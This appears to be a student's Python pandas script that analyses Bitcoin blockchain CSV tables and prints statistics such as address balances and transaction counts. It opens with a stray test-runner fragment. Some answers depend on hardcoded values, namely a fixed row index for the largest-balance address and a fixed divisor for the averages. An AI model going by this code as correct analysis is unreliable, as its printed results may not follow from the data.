if __name__ == "__main__":
    unittest.main()


#!/usr/bin/env python
# coding: utf-8

import pandas as pd

bh_cols = ['blockID', 'hash', 'block_timestamp', 'n_txs']
bh = pd.read_table("bh.csv", header=None, names=bh_cols)

txh = pd.read_table("txh.csv", header=None, names = ["txID", "hash"])
addr = pd.read_table("addresses.csv", header=None, names = ["addrID", "address"])

txin_col = ["txID", "input_seq", "prev_txID", "prev_output_seq", "addrID", "sum"]
txin = pd.read_table("txin.csv", header=None, names=txin_col)

txout_col = ["txID", "output_seq", "addrID", "sum"]
txout = pd.read_table("txout.csv", header=None, names=txout_col)

txin_group = txin.groupby("addrID",as_index=False).agg({"sum":["sum", "count"]})
txout_group = txout.groupby("addrID",as_index=False).agg({"sum":["sum", "count"]})

bal = pd.merge(txin_group[1:], txout_group[1:], on="addrID",how="outer")
bal = bal.fillna(0)
bal["balance"] = bal["sum_y"]["sum_y"] - bal["sum_x"]["sum_x"]

bal.sort_values("balance", ascending=False, inplace=True)
txh = pd.read_table("txh.csv", header=None, names = ["txID", "hash"])

tx = pd.read_table("tx.csv", header=None, names = ["txID", "blockID", "n_inputs", "n_outputs"])
max = tx[tx["n_inputs"] == tx["n_inputs"].max()][["txID", "n_inputs"]]
display(max)
max_inp = max["n_inputs"].values[0]
max_txID = max["txID"].values[0]
max_hash = txh[txh["txID"] == max_txID]["hash"].values[0]

avg_input = txin_group["sum"]["count"].sum()/8385065
avg_output = txout_group["sum"]["count"].sum()/8385065
bal["total_txs"] = bal["sum_x"]["count"] + bal["sum_y"]["count"]
avg_input_output = bal["total_txs"].mean()

print("1. The Number of transactions in the dataset are: " + str(bh["n_txs"].sum()) + ", and the total number of addresses in the dataset are: " + str(len(addr)))
print()
print("2. The Bitcoin address holding the greatest amount of bitcoins is " + str(addr.loc[1083442]["address"]) + " and the amount  it is holding: " + str(bal["balance"].max()))
print()
print("3. Average balance per address : " + str(bal["balance"].mean()))
print()
print("4. The Avg number of input and output txs per address: " + str(avg_input) + " , " + str(avg_output) + " respectively.")
print("And the avg number of txs(input + output) per address: " + str(avg_input_output))
print()
print("5. The transaction that has the greatest number of inputs is " + max_hash + " and it has " + str(max_inp) + " inputs")
print()
print("6. Average transaction value is: " + str(txout["sum"].sum()/len(txout['txID'].unique())))
print()
print("7. Number of coinbase transactions in the dataset are: " + str(len(bh)))
print()
print("8. Average transactions per block is: " + str(str(bh["n_txs"].mean())))